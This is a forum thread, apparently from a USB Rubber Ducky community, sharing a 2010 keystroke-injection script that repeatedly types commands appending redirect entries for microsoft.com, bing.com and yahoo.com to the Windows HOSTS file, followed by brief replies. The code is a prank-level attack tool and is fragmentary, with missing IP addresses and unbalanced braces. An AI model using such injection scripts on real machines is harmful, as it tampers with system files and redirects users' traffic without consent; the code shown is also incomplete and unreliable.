Jump to content

[Version 1] Reroute With Host File In Windows

Recommended Posts

I've only tested this on WindowsXP running in a VirtualBox in Linux

If other could test it and let me know how it runs on there systems it would be helpful.

Rubber Ducky HOSTs
Created By Kris Occhipinti (A.K.A. Metalx1000)
April 27th 2010

Released under the GPLv3

This code will modify your windows HOSTS file to redirct web browsing
By default it re-routes 
      microsoft.com to linux.com
      bing.com to Google.com
      yahoo.com to Google.com
It loops every 5 second incase the code was missed the first time.

For more info Please Visit:

void setup() { } // no setup needed
void loop() {
  //clears any modifier keys

  //routes microsoft.com to linux.com 
  Keyboard.println("cmd /c echo    microsoft.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  //routes bing.com to Google.com 
  Keyboard.println("cmd /c echo    bing.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");
  //routes yahoo.com to Google.com 
  Keyboard.println("cmd /c echo    yahoo.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts");


void run_cmd(){
  // release all the keys at the same instant

Link to comment
Share on other sites

You've already posted these in the wiki, you don't need to then go and fill up the forum with them.

Thanks for the heads up, I didn't realize they got posted there.

When I first got my kit I didn't think to come the forum so I just emailed the code to Darren.

He must have posted them there for me.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...